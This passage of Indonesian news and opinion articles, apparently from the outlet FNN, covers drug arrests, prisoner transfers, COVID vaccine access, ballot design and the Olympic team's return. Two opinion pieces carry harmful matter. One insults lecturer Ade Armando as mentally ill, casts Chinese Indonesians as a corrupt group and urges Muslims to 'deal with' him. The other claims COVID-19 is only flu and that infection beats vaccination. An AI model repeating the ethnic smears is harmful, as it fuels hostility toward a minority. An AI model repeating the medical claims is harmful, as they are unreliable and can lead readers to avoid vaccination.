tidak memberikan perlawanan. "Pada saat dilakukan penangkapan surat perintah penangkapan diserahkan kepada keluarga, selanjutnya terhadap pelaku RS dibawa ke Polres Solok," ucapnya. Tersangka RS dijatuhi pasal 82 ayat 1 Jo. Pasal 76 E Undang-Undang RI Nomor 17 Tahun 2016 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang No. 1 Tahun 2016 tentang Perubahan Kedua Atas UU Nomor 23 Tahun 2002 tentang Perlindungan Anak. "Ancaman hukuman penjara maksimal 15 tahun, paling singkat tiga tahun," ujar dia. (sws)

Polres Tanjungpinang Tangkap Tujuh Pelaku Narkoba

Tanjungpinang, FNN - Kepolisian Resor Tanjungpinang, Kepulauan Riau, menangkap tujuh terduga pelaku narkoba berikut barang bukti berupa puluhan gram sabu selama empat hari, yakni mulai 29 Juli hingga 1 Agustus 2021. Kapolres Tanjungpinang AKBP Fernando mengatakan berbekal dari informasi masyarakat, akhirnya para pelaku berhasil ditangkap di lokasi yang berbeda. Penangkapan berawal dari pelaku berinisial DJ yang diduga menjadi pengedar sabu di Jalan Matador, Kelurahan Bukit Cermin, dengan barang bukti satu paket sabu seberat 0,63 gram pada Kamis (29/7). “Setelah dites urine, DJ negatif narkoba. Namun dia seorang pengedar sabu,” kata Kapolres Tanjungpinang AKBP Fernando dalam siaran pers di Mapolres Tanjungpinang, Rabu. Pada hari berikutnya atau Jumat (30/7), polisi menangkap pelaku MS yang diduga sebagai pengedar sabu di Jalan Nila, Kelurahan Tanjungpinang Barat, dengan barang bukti satu paket sabu seberat 57,29 gram. Selanjutnya Sabtu (31/7), kembali diamankan tersangka PS dan F dengan barang bukti 0,43 gram sabu. “Keduanya diduga pengedar sabu,” ujar Fernando. Selanjutnya Minggu (1/8), polisi menangkap pelaku R di Jalan Kijang Lama berikut satu paket sabu seberat 0,32 gram. Dari hasil pengakuan R, ternyata sabu tersebut didapat dari seorang perempuan berinisial LA, yang ikut diamankan di sebuah indekos Jalan Sakera, Kelurahan Tanjung Ayun Sakti . Penangkapan pelaku R dan LA menggiring aparat kepolisian menangkap BA yang diduga menjadi kurir dan pengguna narkoba di Jalan Sakera Tanjung Ayun Sakti dengan barang bukti 0,09 gram. "R diduga sebagai pengedar, sedangkan LA dan BA merupakan kurir narkoba," ungkap Fernando. Kapolres mengatakan ketujuh pelaku sudah ditahan di Mapolres Tanjungpinang guna proses hukum lebih lanjut. Akibat perbuatannya, semua pelaku terancam melanggar Pasal 114 ayat (1) dan atau Pasal 112 ayat (1) jo Pasal 132 UU Nomor 35 Tahun 2009 dengan ancaman pidana minimal 5 tahun dan maksimal 20 tahun. (sws)

19 Narapidana Bandar Narkoba Dipindahkan ke Nusakambangan

Jakarta, FNN - Sebanyak 19 narapidana bandar narkoba dipindahkan ke Lembaga Pemasyarakatan (Lapas) "Super Maximum Security" di Nusakambangan, Kabupaten Cilacap, Jawa Tengah. Para narapidana dipindahkan ke Nusakambangan tepatnya Lapas Khusus Kelas IIA Karanganyar pada Rabu (4/8) berdasarkan keterangan dari Direktorat Jenderal Pemasyarakatan Kementerian Hukum dan HAM yang diterima di Jakarta, Kamis. Sebanyakl 19 narapidana yang dipindahkan, yaitu MK, FT, AA, D, MA, MS, AAr, MAD, IS, SH, DP, FY, FA, MAA, M, AHH, RM, DS, dan HG. Mereka berasal dari beberapa lapas dan rumah tahanan negara (rutan) di Lampung di antaranya Lapas Kelas I Bandar Lampung, Lapas Narkotika Kelas IIA Bandar Lampung, Lapas Kelas IIA Kalianda, Lapas Kelas IIB Gunung Sugih, Rutan Kelas I Bandar Lampung, dan Rutan Kelas IIB Menggala. Sementara lima di antaranya merupakan narapidana pindahan dari Lapas Kelas I Palembang. Proses pemindahan narapidana dilakukan sekitar pukul 21.00 WIB oleh Divisi Pemasyarakatan Kantor Wilayah Kementerian Hukum dan HAM (Kanwil Kemenkumham) Lampung dan UPT Pemasyarakatan jajaran Kanwil Kemenkumham Lampung. Pemindahan dilakukan sesuai dengan standar protokol pencegahan dan penanganan COVID-19 dengan pengawalan ketat dari kepolisian dan petugas lapas. Kepala Divisi Pemasyarakatan (Kadivpas) Kanwil Kemenkumham Lampung, Farid Junaedi mengatakan pemindahan narapidana kategori bandar dan pengendali ini dilakukan untuk mencegah dan memutus mata rantai peredaran narkoba di lapas atau rutan. "Kami tidak main-main akan memindahkan dan mengirim bandar ke Lapas Super Maximum Security Nusakambangan. Begitu pula dengan petugas yang mencoba bermain narkoba. Kami akan tindak sesuai hukum yang berlaku," tuturnya. Menurutnya, pihaknya telah berkoordinasi dengan Kadivpas tujuan serta menginformasikan keluarga narapidana dan Hakim Wasmat terkait pemindahan tersebut. Pemindahan narapidana bandar narkoba ini sesuai dengan semangat Tiga Kunci Pemasyarakatan Maju, yaitu Deteksi Dini Gangguan Keamanan dan Ketertiban, Pemberantasan Peredaran Narkoba Dalam Lapas dan Rutan, dan Sinergi Dengan Aparat Penegak Hukum lainnya. Sebelumnya di berbagai kesempatan, Direktur Jenderal Pemasyarakatan Reynhard Silitonga menegaskan komitmen pemasyarakatan untuk perang melawan narkoba mulai dari pimpinan tertinggi hingga pelaksana lapangan. "Kalau petugas maupun warga binaan yang terbukti terlibat akan diganjar hukuman sesuai dengan tindakannya, baik sanksi secara kedinasan, peraturan tindakan disiplin, maupun sanksi pidana," ucapnya. Dengan pemindahan kali ini, total sudah 692 narapidana kategori bandar dan pengendali dipindahkan ke Lapas "Super Maximum Security" Nusakambangan terhitung sejak 2020. (sws)

Anggota DPR Minta Pemerintah Perhatikan Pemerataan Vaksinasi COVID-19

Jakarta, FNN - Wakil Ketua Komisi II DPR RI Luqman Hakim meminta pemerintah memperhatikan pemerataan akses tes dan vaksinasi COVID-19 khususnya di luar Pulau Jawa-Bali karena beberapa daerah menunjukkan tren kenaikan kasus seperti di Sulut. "Tambah memprihatinkan kondisi kenaikan penyebaran COVID-19 ini dibarengi dengan kelangkaan alat usap antigen di hampir semua kota/kabupaten di Sulawesi Utara," kata Luqman saat dikonfirmasi di Jakarta, Kamis. Luqman yang merupakan Ketua DPW PKB Sulawesi Utara itu menilai alat usap antigen merupakan salah satu piranti penting untuk melakukan penelusuran untuk mengantisipasi penyebaran COVID-19 lebih luas. Dia menjelaskan, Sulut juga mengalami kendala dalam proses vaksinasi karena kurangnya jumlah vaksin yang bisa diakses masyarakat karena banyak warga yang ingin diberi vaksin namun tidak mendapatkan pelayanan karena stok vaksin yang kosong di puskemas-puskesmas. "Saya melihat, masyarakat Sulawesi Utara memiliki kesadaran tinggi untuk mengikuti program vaksinasi COVID-19 namun mereka harus menunggu tanpa kejelasan waktu untuk bisa mendapatkan vaksin," ujarnya. Karena itu dia meminta pemerintah pusat segera memberikan bantuan alat usap antigen dan menggenjot vaksinasi agar penanganan COVID-19 di Sulawesi Utara berjalan maksimal. Dia mengingatkan bahwa Sulawesi Utara sering menjadi transit warga negara dan tenaga kerja asing (TKA) terutama asal China sehingga cukup rentan terhadap kemungkinan penyebaran virus COVID-19. "Saya juga berharap pemerintah daerah agar tidak kendor dan terus mengingatkan masyarakat untuk tetap mematuhi protokol kesehatan," katanya. Dia berharap, di tengah kejenuhan masyarakat yang meluas, pemerintah harus hadir memberikan harapan bahwa pandemi ini akan semakin terkendali. Menurut dia hal itu dapat dilakukan dengan cara terus menggalakkan vaksinasi sehingga bisa tercapai kekebalan komunitas atau "herd imunity" untuk meminimalisasi dampak COVID-19. (sws)

Anggota DPR: Perubahan Desain Surat Suara Harus Dilakukan Komprehensif

Jakarta, FNN - Anggota Komisi II DPR RI Guspardi Gaus meminta KPU melakukan kajian yang mendalam dan komprehensif terkait rencana lembaga tersebut yang akan mengubah desain surat suara untuk Pemilu 2024. "Saya mendukung rencana KPU mengubah surat suara untuk Pemilu 2024 namun perlu dilakukan kajian yang mendalam dan komprehensif seperti mengenai surat suara maupun metode yang akan di pakai," kata Guspardi dalam keterangannya di Jakarta, Kamis. Dia menilai perubahan lima kertas surat suara menjadi satu atau dua, memberikan konsekuensi tidak ada lagi nama calon di surat suara. Hal itu menurut dia harus dikaji secara mendalam dan komprehensif sehingga jangan ada pihak yang nantinya dirugikan seperti pemilih maupun yang dipilih dalam menggunakan hak politiknya. Menurut dia, dari enam model usulan surat suara yang disiapkan KPU, tiga diantaranya pemilih cukup menggunakan satu surat suara dan tiga model lainnya menggunakan dua lembar surat suara. Dia menilai dari sisi cara memilih juga mempunyai pilihan mencontreng, mencoblos dan ada juga yang harus menulis, sehingga hal itu tidak sederhana karena selama ini pemilih sudah terbiasa mencoblos saat pemilu. "Dulu kita pernah menggunakan metode mencontreng untuk Pemilu tetapi dikembalikan lagi ke metode mencoblos, karena ketika itu rentan manipulasi. Jadi harus di perhatikan metode mencontreng lebih mudah disalahgunakan sehingga mengakibatkan banyaknya surat suara menjadi tidak sah," ujarnya. Guspardi menekankan bahwa perubahan desain surat suara dan cara atau metode yang akan digunakan tentu memerlukan perubahan pasal-pasal dalam UU Nomor 7 Tahun 2017 tentang Pemilu. Sementara itu menurut dia, semua fraksi di DPR telah sepakat tidak melakukan perubahan UU Pemilu untuk pelaksanaan Pemilu 2024 sehingga hal itu juga harus menjadi pertimbangkan. "Untuk itu, setiap upaya perbaikan aturan pelaksanaan pemilu seperti penyederhanaan surat suara untuk pemilu 2024 yang di gagas KPU harus ditujukan untuk lebih memudahkan, efektif dan efisien," katanya. Namun politisi PAN itu menilai, hingga saat ini Komisi II DPR belum menerima secara resmi dari KPU terkait usulan penyederhanaan surat suara tersebut. Dia menjelaskan di Masa Sidang I Tahun Sidang 2021-2022 yang dimulai pada 16 Agustus mendatang, Komisi II DPR akan mengundang KPU dan para penyelenggara pemilu serta Menteri Dalam Negeri Tito Karnavian. Menurut dia, pertemuan tersebut untuk membahas mengenai rencana usulan desain surat suara dan metodenya serta membahas persiapan Pemilu serentak 2024. (sws)

Sembilan Belas Bandar Narkoba Diangkut ke Nusakambangan

Jakarta, FNN - Sebanyak 19 narapidana bandar narkoba dipindahkan ke Lembaga Pemasyarakatan (Lapas) Super Maximum Security di Nusakambangan, Kabupaten Cilacap, Jawa Tengah. Para penjahat tersebut diangkut dengan pengawalan ketat dari polisi dan Lapas. Para narapidana dipindahkan ke Nusakambangan tepatnya Lapas Khusus Kelas IIA Karanganyar. Proses pemindahan dilakukan pada Rabu (4/8/2021) malam, mulai sekitar pukul 21.00 WIB oleh Divisi Pemasyarakatan Kantor Wilayah Hukum dan Hak Azasi Manusia (Kanwil Hukum dan HAM) Lampung dan UPT Pemasyarakatan jajaran Kanwil Kementerian Hukum dan HAM Lampung. Sebanyakl 19 narapidana yang dipindahkan, yaitu MK, FT, AA, D, MA, MS, AAr, MAD, IS, SH, DP, FY, FA, MAA, M, AHH, RM, DS, dan HG. Berdasarkan keterangan yang diperoleh Antara dari Direktorat Jenderal Pemasyarakatan Kementerian Hukum dan HAM yang di Jakarta, Kamis (5/8/2021) dinihari, narapindana bandar narkoba itu berasal dari beberapa lapas dan rumah tahanan (rutan) di Lampung. Antara lain, dari Lapas Kelas I Bandar Lampung, Lapas Narkotika Kelas IIA Bandar Lampung, Lapas Kelas IIA Kalianda, Lapas Kelas IIB Gunung Sugih, Rutan Kelas I Bandar Lampung, dan Rutan Kelas IIB Menggala. Lima di antaranya merupakan narapidana pindahan dari Lapas Kelas I Palembang. Pemindahan dilakukan sesuai dengan standar protokol pencegahan dan penanganan Covid-19. Kepala Divisi Pemasyarakatan (Kadivpas) Kanwil Kemenkumham Lampung, Farid Junaedi mengatakan, pemindahan narapidana kategori bandar dan pengendali ini dilakukan guna mencegah dan memutus mata rantai peredaran narkoba di lapas atau rutan. "Kami tidak main-main akan memindahkan dan mengirim bandar ke Lapas Super Maximum Security Nusakambangan. Begitu juga dengan petugas yang mencoba bermain dengan narkoba. Kami akan tindak sesuai hukum yang berlaku," tuturnya. Pihaknya telah berkoordinasi dengan Kadivpas tujuan (Jawa Timur) serta menginformasikan keluarga narapidana dan Hakim Wasmat terkait pemindahan tersebut. Pemindahan narapidana bandar narkoba tersebut sesuai dengan semangat Tiga Kunci Pemasyarakatan Maju, yaitu Deteksi Dini Gangguan Keamanan dan Ketertiban, Pemberantasan Peredaran Narkoba Dalam Lapas dan Rutan, dan Sinergi Dengan Aparat Penegak Hukum lainnya. Sebelumnya di berbagai kesempatan, Direktur Jenderal Pemasyarakatan Reynhard Silitonga menegaskan komitmen pihaknya perang melawan narkoba mulai dari pimpinan tertinggi hingga pelaksana lapangan. "Kalau petugas maupun warga binaan yang terbukti terlibat akan diganjar hukuman sesuai dengan tindakannya, baik sanksi secara kedinasan, peraturan tindakan disiplin, maupun sanksi pidana," ucapnya. Dengan pemindahan kali tersebut, sejak 2020 sudah 692 narapidana kategori bandar dan pengendali dipindahkan ke Lapas Super Maximum Security Nusakambangan. (MD).

Seluruh Tim Indonesia pada Olimpiade Tokyo Tiba di Tanah Air

Jakarta, FNN - Rombongan terakhir tim Indonesia di Olimpiade Tokyo pada Rabu malam, sekitar pukul 00.00, tiba di tanah air setelah menyelesaikan seluruh pertandingan dalam pesta olahraga terbesar empat tahunan tersebut. Rombongan terakhir yang dipimpin oleh Chef de Mission (CdM) Indonesia untuk Olimpiade Tokyo Rosan P Roeslani itu terdiri dari Greysia Polii, Apriyani Rahayu, Anthony Sinisuka Ginting, Praveen Jordan dari cabang bulu tangkis. Selain itu, ada pula Lalu Muhammad Zohri dan Alvin Tehupeiory dari atletik, atlet menembak Vidya Rafika, serta lifter Rahmat Erwin Abdullah dan Nurul Akmal. Kedatangan mereka disambut oleh Menteri Pemuda dan Olahraga (Menpora) Zainudin Amali di Bandara Soekarno-Hatta. “Saya atas nama pemerintah, dan seluruh rakyat Indonesia, menyampaikan selamat datang kepada kontingen Indonesia. Saya mengucapkan terima kasih dan apresiasi sebesar-besarnya terhadap perjuangan yang telah dilakukan, baik para atlet, pelatih, maupun tenaga pendukung, yang telah mengharumkan nama bangsa Indonesia di Olimpiade Tokyo 2020,” kata Zainudin dalam jumpa pers yang diikuti secara virtual di Jakarta. Zainudin meminta kepada para atlet dan pelatih untuk tetap semangat dalam menghadapi situasi pandemi Covid-19 seperti sekarang. Ia juga berpesan kepada atlet supaya mulai menatap Olimpiade Paris 2024 yang babak kualifikasinya akan dimulai tahun 2021. Sementara itu, CdM Rosan menyampaikan, seluruh atlet dan rombongan dalam kondisi sehat. Kendati demikian, ia juga mengaku bahwa Olimpiade Tokyo 2020 di era pandemi tidak mudah bagi para atlet dan ofisial. “Selama dua pekan di sana (Tokyo), atlet dan ofisial hanya boleh ada di kampung atlet, tempat bertanding dan tempat latihan. Mereka tidak diperbolehkan keluar bubble,” ujar Rosan sebagaimana dikutip dari Antara. . “Tapi semangat para atlet tidak luntur sama sekali. Terbukti, kita bisa mempersembahkan satu medali emas, satu perak, dan tiga perunggu,” kata dia. Setibanya di Indonesia, para atlet akan menjalani karantina delapan hari sesuai dengan aturan pemerintah tentang protokol kesehatan perjalanan internasional di era pandemi Covid-19. Kontingen Indonesia membawa pulang lima medali dari Olimpiade Tokyo 2020 yang berlangsung pada 23 Juli - 8 Agustus. Tiga medali pertama datang dari cabang angkat besi. Lifter belia Windy Cantika Aisah membuka perolehan medali Merah Putih dengan raihan medali perunggu di kelas 49 kg putri. Eko Yuli Irawan menyusul dengan medali perak di kelas 61 kg putra, diikuti Rahmat Erwin Abdullah yang meraih perunggu dari kelas 73kg putra. Sementara itu, medali emas diperoleh dari cabang bulu tangkis nomor ganda putri lewat Greysia/Apriyani. Anthony Sinisuka Ginting menambah medali perunggu Indonesia di nomor tunggal putra. (MD).

Dosen UI Ade Armando Menderita Inferiority Complex

SUNGGUH memprihatinkan di era milenial ini masih ada manusia kerdil, naif, tidak berdaya, dan rendah diri. Kenyataan tersebut dialami oleh seorang pendidik sebuah universitas ternama di Indonesia. Ade Armando namanya. Tampaknya, manusia yang satu ini tengah menderita inferiority complex atau kompleks inferioritas akut. Ia menganggap dirinya lebih rendah bahkan lebih hina dari manusia di sekitarnya. Ia juga merasa agamanya tidak mampu mengatasi persoalan hidupnya. Oleh karena itu, ia benci agamanya sendiri. Kebencian itu ia umbar dan publikasikan. Namun, karena keculasannya - semua gangguan jiwa - itu ia lempar ke pihak lain. Itu cara dia agar tidak terlihat menderita penyakit yang memalukan tersebut. Hanya karena membaca kabar ada orang Cina mau menyumbang Rp 2 triliun untuk mengatasi Pandemi Covid-19, Ade Armando langsung girang. Kegirangan itu diungkapkannya dalam bentuk penghinaan kepada kaum muslim pribumi. "2 Triliun rupiah lho, bukan 2 milyar uang semua gak pake pasir. Ini satu lagi tambahan contoh untuk menantang kelompok-kelompok muslim pribumi yang selalu menjelekkan Tionghoa. Saya mau bilang ini sumbangan pengusaha Tionghoa, mana sumbanganmu?" Demikian cuitan dosen yang gagal meraih gelar profesor itu. Dia pikir tidak ada umat Islam dan pribumi yang dermawan. Ia minder. Padahal kedermawanan pribumi dan umat Islam sungguh nyata, tidak perlu publikasi. Islam mengajarkan kedermawanan tidak perlu digembar-gemborkan. Ibaratnya, jika tangan kanan memberi, tangan kiri tidak perlu tahu. Mulia sekali. Tetapi, tidak salah juga disebutkan contoh Muhammadiyah yang telah menggelontorkan uang umat Rp 1 triliun (satu triliun rupiah) dalam membantu menangani pandemi Coronadisease 2019 (Covid-19). Itu bukan angka fiktif apalagi ghaib, apalagi tipu-tipu seperti yang dilakukan keluarga Cina, Akidi Tio . Itu angka nyata yang tercatat di pembukuan organisasi Islam yang didirikan oleh Kiai Haji Ahmad Dahlan itu. Belum lagi sumbangan dari warga NU, baik secara pribadi maupun disalurkan lewat organisasi di berbagai wilayah. Demikian juga ormas Islam lainnya, yaitu Persaudaraan Islam (Persis), Al Washliyah, Mathlaul Anwar, Front Persaudaraan Islam dan lainnya. Kalau sumbangan pribadi masing-masing umat Islam, jelas tidak terhitung. Bisa lebih dari Rp 2 triliun. Bahkan, bisa jadi mendekati Rp 11.000 triliun rupiah, angka yang ada di kantong Joko Widodo. Belakangan sumbangan Cina itu ternyata bohong belaka dengan ditetapkannya sang anak penyumbang siluman menjadi tersangka karena membuat kegaduhan dan penghinaan terhadap negara. Dosen rasialis itu pura-pura pikun. Apa yang pernah disanjung setinggi langit ternyata hoaks atau bohong kelas tinggi. Sang dosen juga tiba-tiba bego bahwa orang-orang Tionghoa di Indonesia-lah yang sesungguhnya makan duit rakyat paling banyak. Merekalah tukang tipu yang bersekongkol dengan pejabat bejat demi perut dan nafsunya. Mereka keruk duit orang Indonesia, bukan menyumbang. Mereka para penyamun uang negara lewat Bantuan Likuiditas Bank Indonesia (BLBI). Ada Sudono Salim mengeruk Rp 79 triliun, Honggo Wandratno korupsi Rp 37 triliun, Maria Pauline Lumowa korupsi Rp 1,9 triliun, Irawan Salim korupsi 500 ribu dolar AS (Amerika Serikat), Sudjiono Timan korupsi 126 juta dolar AS, Usman Admadjaja 35,6 triliun, Shemy Konjongiang 2,6 triliun, David Nusa Wijaya Rp 1,29 triliun, Samadikun Hartono Rp 169 miliar, Sjamsul Nursalim korupsi Rp 65,4 triliun. Ada Itjih Nursalim, Bambang Sutrisno, Hartati Murdaya, Hartono Tjahjadjaja, dan Eddy Sindoro. Pasca Orde Baru ada Hendra Rahardja Rp 1 triliun, Sanyoto Tanuwidjaja, Djoko Tjandra, Anggoro Widjojo, Robert Dale, Lesmana Basuki, Tony Suherman, Dewi Tantular 3,11 triliun, Anton Tantular 3,11 triliun. Ada Sukanto Tanoto, dan masih ada koruptor China lagi yang lolos dari pengadilan. Para koruptor itu semuanya Tionghoa alias Cina alias Chinesse. Paling anyar adalah dalam kasus korupsi Asuransi Angkatan Bersenjata Republik Indonesia (Asabri). Pada kasus yang masih bergulir di pengadilan itu ada Benny Handoko, Cina - anak almarhum Handoko. Benny Handoko adalah cucu perintis Batik Keris. Sebelumnya, Ade Armando juga menulis di medsos bernada provokatif soal agama pemain bulu tangkis Anthoni Sinisuka Ginting pasca kemenangan menuju seminfinal Olimpiade Tokyo. "Eh Ginting itu Islam atau Kristen ? Ya Kristen laah...ooh". Ternyata setelah dijilat setinggi bulan oleh si dosen karena kekristenannya, Anthony Ginting gagal ke final tunggal putra badminton Olimpiade Tokyo 2021. Ia kalah 16-21, 11-21 dari Chen Long pada semifinal di Musashino Forest Sport Plaza, Tokyo, Jepang. Padahal menang dan kalah tidak ada kaitannya dengan agama. Hanya saja karena si dosen orang yang mudah haru dan mewek, ia terlalu cepat memuja Anthony Ginting yang Kristen. Pesan yang ingin disampaikan oleh si dosen sinting itu adalah, tidak ada muslim yang berprestasi yang ada hanya Kristen. Cuitannya mengenai agama Ginting yang Kristen pun mendapatkan cacian dari netizen. Tidak hanya orang Islam. Bahkan, yang beragama Kristen pun menghujat sang dosen yang sedang "sakit jiwa" itu. Ini pelanggaran berat bagi keutuhan NKRI. Ia dengan sengaja telah memperuncing dan memancing persoalan sensitif secara terang- benderang. Ia terus memprovokasi di media sosial. Bukan sekali dan dua kali saja ia berulah. Anehnya, ia aman-aman saja. Seorang pendidik mengeksploitasi persoalan SARA (Suku, Agama, Ras dan Anti-golongan) di muka umum adalah sifat kekanak-kanakan yang tidak pantas, tidak elok, tidak beretika, dan tidak bermoral. Bukan hanya itu, ia menantang secara radikal muslim pribumi untuk melawan - mungkin dengan kekerasan. Beruntung umat Islam memiliki kesabaran yang luar biasa. Mereka tetap tenang. Beberapa minggu belakangan si dosen juga menunjukkan sikapnya yang naif dan memalukan. Ia merendahkan Ketua BEM UI dengan tuduhan masuk lewat jalur nyogok. Kelainan jiwa sang dosen sesunggguhnya sudah semakin nyata. Beberapa gejala yang dialaminya yaitu kepercayaan diri yang rendah, insecurity, ketidakmampuannya mencapai suatu tujuan, mudah menyerah, adanya keinginan menarik diri dari situasi sosial, sering merasa murung, serta mengalami kekhawatiran dan depresi. Polisi harus segera bertindak. Sang dosen telah melanggar hukum dengan menciptakan kegaduhan dan mengusik persoalan SARA. Umat Islam juga harus punya keberanian membereskan manusia yang selalu membangun narasi permusuhan. Hal itu semua menunjukkan manusia yang mengidap inferiority complex. Berbahaya sekali. Jika inferiority complex itu hanya menjangkiti diri sendiri, tidak masalah. Akan tetapi, jika “penyakit” tersebut berpengaruh pada keputusan-keputusan dan kebijakan negara, maka akan sangat berbahaya. Sangat mungkin negara ini juga menderita inferiority complex. Sebab, sang dosen kabarnya menjadi buzzer istana.

Melawan Covid19: Intimasi dan Nutrisi

Oleh Daniel Mohammad Rosyid VAKSINASI massal melawan flu Covid-19 saat ini semakin dipaksakan. Terakhir BIN dilibatkan dalam vaksinasi santri pesantren. Bahkan sertifikat vaksin kini dijadikan syarat mobilitas. Ada rencana untuk menjadikannya sebagai syarat administrasi untuk memperoleh pelayanan publik. Kebijakan penanganan covid yang terlambat dan inkonsisten sehingga tidak efektif justru dijadikan alasan bagi vaksinasi paksa massal ini. Langkah ini dipijakkan pada pendakian yang rapuh, dan inkonstitusional tapi sekaligus jahat. Ada 4 alasan mengapa vaksinasi tidak relevan dalam menghadapi Flu Covid-19. Pertama, covid-19 sebagai flu adalah self-limiting disease dan ditularkan lebih melalui droplet. Virus sulit menular di ruang terbuka, panas dan berkelembaban tinggi. Ada upaya sesat mengubah Covid-19 sebagai bukan flu, ditambah dengan narasi virus menular melalui aerosol dan OTG, sehingga pandemi Covid-19 ini menjadi semacam teror biologis. Padahal flu itu tidak ada obatnya; vaksin bukan obat flu. Perangkat paling ampuh melawan flu adalah imunitas tubuh baik yang bawaan ataupun yang diperoleh melalui gaya hidup sehat manusia sebagai makhluq multi-dimensi, bukan sekadar makhlus biokimia semacam binatang. Anak muda yang sehat yang terpapar Flu Covid-19 akan mengalami gejala flu biasa atau sedikit lebih berat namun akan sembuh dengan sendirinya dengan bantuan obat flu plus multivitamin terutama vitamin D. Flu Covid-19 memang bisa mematikan jika menyerang manusia dengan penyakit tak menular bawaan (comorbid) seperti jantung koroner, hipertensi, diabetes mellitus, atau kanker dan pasien yg mengalami malnutrisi. Malnutrisi ini memperparah comorbid yang sudah ada pada pasien terduga Covid-19. Apalagi lansia. Jika ditangani dengan benar, angka kesembuhan covid-19 sangat tinggi. Tidak mengherankan karena Covid-19 memang sesungguhnya hanya flu. Apapun varian dan mutasinya, Covid-19 tetap hanya flu. Kedua, vaksin-vaksin yang beredar saat ini hanya memperoleh otorisasi darurat. Efikasinya tidak meyakinkan. Keluhan ikutan pasca imunisasi cukup banyak, sebagian malah mematikan. Kedaruratan ini highly debatable dan berpotensi maladministrasi publik. Hemat saya, kedaruratan justru diakibatkan oleh pandemisasi flu Covid oleh WHO, serta hampir semua protokol "kesehatan" nya, terutama pembatasan mobilitas lokal. Semburan narasi bahwa penularan melalui kerumunan telah mengantar pada protokol 3M (menutup mulut dan hidung dengan masker, mencuci tangan dan menjaga jarak). Padahal tertular flu bagi warga muda yang sehat malah lebih baik daripada vaksinasi dengan hasil imunitas yang masih meragukan. Dengan nutrisi yang sehat, natural herd immunity melawan flu lebih murah daripada vaksinasi dan tanpa menghancurkan ekonomi. Ditambah dengan isolasi baik di rumah ataupun di rumah sakit, sumber-sumber imunitas manusia sebagai makhluk multi-dimensi justru tergerus habis. Padahal imunitas dibangun sebagian besar justru melalui keakraban interaksi manusiawi, aktifitas fisik dan mental di ruang terbuka di bawah matahari, serta nutrisi seimbang. Mobilitas lokal, apalagi metabolik (berjalan dan bersepeda), seharusnya justru dipromosikan pada saat karantina wilayah diterapkan. Ekonomi lokal bisa tetap berputar. Kedaruratan yang menjadi alasan pemaksaan vaksinasi massal adalah hasil kebijakan yang keliru atau bahkan maladministrasi publik : kebijakan bukan untuk melayani publik, tapi melayani pihak tertentu seperti industri farmasi. Ketiga, pemerintah mestinya menjalankan amanah konstitusi dengan mengambil politik kesehatan yang melindungi segenap bangsa melalui kemandirian sektor kesehatan. Politik kesehatan kita seharusnya lebih preventif dan promotif. Sudah lama sistem kesehatan nasional kita bermasalah : kuratif, tidak efisien, tidak berkelanjutan, dan tidak mandiri karena banyak tergantung pada industri farmasi asing. Vaksinasi dengan vaksin buatan sendiri (bukan impor) akan lebih diterima. Comorbid dan malnutrisi yang menggerogoti kesehataan publik kurang memperoleh perhatian serius dan makin terbengkalai akibat pandemisasi Covid-19 ini. Keempat, politik kesehatan yang benar adalah yang menempatkan publik bukan sekedar pasien atau pesakitan, tapi juga produsen kesehatan sebagai public goods. Publik adalah manusia yang merdeka yang tidak saja memiliki tanggungjawab atas kesehatan tubuhnya sendiri tapi juga memiliki potensi untuk ikut menyediakan kesehatan. Vaksinasi paksa massal melawan flu Covid-19 tidak saja merampas kemerdekaan sipil warga negara yang bertanggungjawab, tapi sekaligus a waste of public money Imunitas nasional melawan flu covid-19 dapat dibangun dengan intimasi dan nutrisi massal.. Bukan dengan isolasi dan vaksinasi paksa massal. Penulis, Rosyid College of Arts Gunung Anyar.

Sejumlah Perusahaan Ungkap Pentingnya Transformasi Bisnis Era Disrupsi

Jakarta, FNN - Sejumlah perusahaan mengungkapkan pentingnya transformasi bisnis di era disrupsi, yang mengharuskan mereka bertransformasi agar bertahan di tengah ketidakpastian pemulihan ekonomi akibat pandemi COVID-19. Hal itu dikemukan sejumlah pimpinan perusahaan dalam webinar dan virtual awarding "Indonesia Best Business Transformation" dengan tema "Rahasia Sukses Transformasi Bisnis di Era Disrupsi" yang diselenggarakan Majalah SWA di Jakarta, Rabu. "Triggernya adalah untuk sustainability. Setiap perusahaan pasti ingin sustain terus dan growing," kata Direkur PT Pyridam Farma Tbk Yenfrino Gunadi yang menjadi salah satu panelis pada webinar tersebut ketika ditanya apa yang mendasari perusahaannya melakukan transformasi bisnis. Tiga pembicara lainnya CEO PT Sreeya Sewu Indonesia Tbk Tommy Wattimena, Direktur Utama PT Elnusa Petrofin Harus Syahrudin, dan Chief Digital Officer Allianz Life Indoesia Mike Sutton, juga mengungkapkan hal yang intinya senada bahwa transformasi adalah sebuah keharusan saat ini, baik dalam transformasi human capital hingga teknologi digital. CEO PT Sreeya Sewu Indonesia Tbk Tommy Wattimena menceritakan Tahun 2021 perusahaan poultry yang dipimpinnya hampir bangkrut dengan kerugian ratusan miliar rupiah. Selain itu ada tantangan industrin yang tidak efisien, karena masalah pakan yang mahal, serta pencatatan data dan manajemen bisnis unggas di Indonesia yang buruk menyebabkan perbankan enggan masuk ke sektor tersebut. "Bahkan ke depan industri poultry nasional juga akan menghadapi tantangan masuknya ayam impor, terutama dari Brasil, sebagai konsekuensi dari hasil sidang WTO. Inilah faktor-faktor mendorong kami melakukan transformasi," ujarnya. Perusahaan-perusahaan terkemuka itu mengungkapkan strategi transformasi masing-masing. Namun, seperti yang dikemukakan Group Chief Editor SWA Kemal Effendi Gani bahwa dalam menjalankan transformasi bisnis tersebut berlaku "one size does not fit all". "Desain program transformasi suatu perusahaan tak bisa begitu saja diterapkan di perusahaan lain. Sebab, problem dan tantangan bisnis yang dihadapi masing-masing perusahaan berbeda, apalagi bila industrinya berbeda. Selain itu ukuran bisnis dan kompleksitas perusahaan tentu berbeda-beda," kata Kemal Gani yang juga Ketua Forum Pemred itu. Tahun ini SWA Group memberi penghargaan kepada 15 perusahaan partisipan dengan transformasi bisnis terbaik (best pratices) yang bisa menjadi referensi, di antaranya Sreeya Sewu, Pegadaian, Pupuk Indonesia, dan Sasa Inti. Kemal mengungkapkan ada beragam cara transformasi bisnis yang dilakukan perusahaan partisipan. Pertama, transformasi model bisnis dan portofolio bisnis, di mana perusahaan mentransformasi apa yang ditawarkannya, menentukan siapa pelanggannya, apa revenue stream-nya, dan apa saja jenis lini bisnisnya. Kedua, mentransformasi struktur organisasi sesuai kebutuhan pasar/pelanggan. Ketiga, transformasi proses bisnis dan operasional perusahaan, yang umumnya diarahkan untuk efisiensi proses bisnis yang 